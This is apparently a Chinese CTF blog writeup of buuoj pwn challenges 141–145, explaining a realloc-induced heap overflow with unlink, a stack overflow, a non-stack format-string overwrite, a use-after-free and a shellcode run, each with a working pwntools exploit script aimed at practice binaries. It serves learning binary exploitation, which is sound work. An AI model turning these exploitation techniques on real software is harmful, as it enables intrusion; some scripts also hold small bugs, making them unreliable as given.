buuoj Pwn writeup 141-145

141 jarvisoj_level6_x64

保护

在这里插入图片描述菜单堆

在这里插入图片描述进来先在0x6020a8地方申请了一个很大的chunk,然后就是各种清零。

我们先来看new,来分析各种chunk的关系。
在这里插入图片描述那个大的chunk存着各种信息,结构是这样的。

在这里插入图片描述
list
在这里插入图片描述正常输出。

edit
在这里插入图片描述会发现
realloc这里的地址没问题,大小这里跟128字节对齐,因为是realloc,作用就是当要写入的大于本来的chunk大小,会释放本来的chunk,然后申请一个大的chunk,返回这个新chunk的地址。
realloc这里会造成溢出。

free

在这里插入图片描述没有清理free指针,但是标志位,大小都清理掉了。

这个题我们能够利用的漏洞就是uaf,跟realloc造成的堆溢出,你或许会想,realloc怎么会造成溢出,他是怎么的一种方式?

我们先来看一下realloc。

size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

在这个题里面当我们realloc的时候如果size大于ptr的size,会首先将原来的chunk释放掉,然后再找一个更大的chunk分配给它,返回这个chunk的地址,但是我们要注意,这里的找一个更大的chunk,有两种不同情况。
1、如果有足够空间用于扩大mem_address指向的内存块,则分配额外内存,并返回mem_address
这里说的是“扩大”,我们知道,realloc是从堆上分配内存的,当扩大一块内存空间时, realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平。也就是说,如果原先的内存大小后面还有足够的空闲空间用来分配,加上原来的空间大小= newsize。那么就ok。得到的是一块连续的内存。
2、如果原先的内存大小后面没有足够的空闲空间用来分配,那么从堆中另外找一块newsize大小的内存。

我们这道题用到的情况显然是后者。
我们在做题的时候首先申请了5个chunk,然后free掉了2、4.接着对chunk1进行了一次大于chunksize的edit,那么造成的结果是什么,首先释放了chunk1的地址,然后试图寻找对上现存的能用的空间,就找到了2,因为他是空闲的,于是合并再一次,分配给chunk1.所以虽然你是edit的0x90,但是其实返回的chunk是1、2合并起来的0x120.

然后伪造好chunk,做一个unlink就好了。
在这里插入图片描述

exp

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = process("./141")
libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
elf = ELF('./141')
free_got = elf.got['free']

def add(size,content):
    r.sendlineafter('Your choice:','2')
    r.sendlineafter('Length of new note: ',str(size))
    r.sendafter('Enter your note:',content)

def free(index):
    r.sendlineafter('Your choice: ','4')
    r.sendlineafter('Note number: ',str(index))

def show():
    r.sendlineafter('Your choice: ','1')

def edit(index,size,content):
    r.sendlineafter('Your choice: ','3')
    r.sendlineafter('Note number: ',str(index))
    r.sendlineafter('Length of note: ',str(size))
    r.sendafter('Enter your note: ',content)

add(0x80,0x80 * 'a')    # chunk 0
add(0x80,0x80 * 'a')    # chunk 1
add(0x80,0x80 * 'a')    # chunk 2 
add(0x80,0x80 * 'a')    # chunk 3 
add(0x80,0x80 * 'a')    # chunk 4 
edit(4,len("/bin/sh\x00"),"/bin/sh\x00")

gdb.attach(r)

free(3)
free(1)

payload = 0x90 * 'a'
edit(0,len(payload),payload)
show()
#show the heap_addr
#two unsorted_bin chunk linked

r.recvuntil(0x90 * 'a')
heap_0 = u64(r.recvuntil('\x0a') + '\x00\x00\x00\x00') - 0x19a0
heap_4 = heap_0 + 0x1a40

fd = heap_0 - 0x18
bk = heap_0 - 0x10
payload = p64(0) + p64(0x80)
payload += p64(fd) + p64(bk)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80) + p64(0x90)
edit(0,len(payload),payload)

free(1)
#这个free就是用到realloc造成堆溢出之后造成的unlink

payload = p64(2) + p64(1) + p64(0x8) + p64(free_got)    #chunk0 size改为0x8
payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
payload = payload.ljust(0x90,'\x00')
edit(0,len(payload),payload)

show()
free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']

print hex(libc_base)

payload = p64(system)
edit(0,len(payload),payload)

r.interactive()

142 suctf_2018_stack

保护

在这里插入图片描述
在这里插入图片描述直接栈溢出到system就行。要注意ubuntu18,有个栈对齐。

from pwn import *
r = remote('node3.buuoj.cn',28430)

leave_ret = 0x400732
pop_rdi_ret = 0x4007a3
ret_addr = 0x0400677 
payload = 'a' * (0x20 + 8) + p64(ret_addr)
r.send(payload)
r.interactive()

143 npuctf_2020_level2

保护

在这里插入图片描述
在这里插入图片描述buf在bss段上,printf格式化字符串的漏洞非常明显,所以我们看得出来,这个题就是非栈上的格式化字符串漏洞。

思路很多,首先我们先看一下RELRO保护,保护全开,我们并不能劫持got表。
那么我们就考虑改它的返回地址,改成one_gadget就好了。
但是我们注意它跟传统的那种劫持got的方法不一样,我们有更好的写法。

以前的那个我们是利用三个地址形成的链,p1,p2,p3。
我们必须去利用p1让p2一个字节一个字节加,然后达到一个字节一个字节去修改地址
我们下面这个,是直接修改p2,然后达到目的。
他们的区别在哪里,或者说明明下面这种更简单,但是为什么还是以前那个会那样写?
我们找出区别,以前那个需要我们去劫持got表,我们写地址的字节数会大于两个字节,所以我们不能直接去把p2修改成got表地址,所以需要建立中间层,让p2一个一个字节加,p3来做这一件事情,这个题我们是改返回地址,但是我们改的时候改两个字节就行,所以我们可以使用这种简单的方法。

from pwn import *

context.log_level = "debug"

#r = process('./143')
r = remote("node3.buuoj.cn", "29911")

libc = ELF('./64/libc-2.27.so')
elf = ELF('./143')

r.sendline('%9$p%11$p%7$pend\x00')

r.recvuntil('0x')
stack_addr = int(r.recvuntil('0x')[:-2],16)
addr1 = int(r.recvuntil('0x')[:-2],16)
base = addr1 - 0x79a
addr2 = int(r.recvuntil('end')[:-3],16)
libc_base = addr2 - libc.symbols['__libc_start_main']-0xe7

p1 = stack_addr - 0xd0
p2 = stack_addr
p3 = stack_addr + 0x31b

ret_addr = stack_addr - 0xe0
one_gadget = libc_base + 0x10a38c

print hex(one_gadget)

print "ret_addr = " + str(hex(ret_addr))

off = ret_addr & 0xffff


r.sendline("%"+str(off)+"c%9$hn"+'end\x00')
r.recvuntil("end")
off1 = one_gadget & 0xffff
print hex(off1)
r.sendline("%"+str(off1)+"c%35$hn"+'end\x00')
r.recvuntil("end")

r.sendline("%"+str(off + 2)+"c%9$hn"+'end\x00')
r.recvuntil("end")
off2 = (one_gadget >> 16) & 0xffff
print hex(off2)
r.sendline("%"+str(off2)+"c%35$hn"+'end\x00')
r.recvuntil("end")

#gdb.attach(r)
#input()

r.sendline('66666666\x00')

r.interactive()

144 actf_2019_babyheap

保护

在这里插入图片描述在这里插入图片描述跟平常的菜单不大一样了。多了个日期。

add
在这里插入图片描述结构还是比较简单的。
在这里插入图片描述
delete
在这里插入图片描述
在这里插入图片描述
双层结构,就uaf控制第一个chunk,把content改成system,但后system “/bin/sh” 就可以了。

#!/usr/bin/env python                                        
# coding=utf-8                                               
from pwn import *                                            
context(log_level = 'debug')                                 
                                                                            
r = remote("node3.buuoj.cn","25159")                        
elf = ELF('./144')                            
                                                             
def create(size,payload):                                    
    r.sendlineafter("Your choice: ",'1')                    
    r.sendlineafter("Please input size: \n",str(size))      
    r.sendafter("Please input content: \n",payload)         
                                                             
def delete(index):                                           
    r.sendlineafter("Your choice: ",'2')                    
    r.sendlineafter("Please input list index: \n",str(index)) 
                                                             
def print_this(index):                                       
    r.sendlineafter("Your choice: ",'3')                    
    r.sendlineafter("Please input list index: \n",str(index)) 
                                                             
create(0x200,'index:0')                                      
create(0x200,'index:1')                                      
delete(0)                                                    
delete(1)                                                    
                                                             
create(0x10,p64(0x602010) + p64(elf.symbols["system"]))      
print_this(0)                                                
r.interactive()

145 [BSidesCF 2019]Runit

保护
在这里插入图片描述
在这里插入图片描述
就写个shellcode跑一下就行

exp

from pwn import *

r = remote("node3.buuoj.cn",28830)

elf = ELF("./145")

shellcode = asm(shellcraft.sh())
r.recvuntil(b"Send me stuff!!\n")
r.sendline(shellcode)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值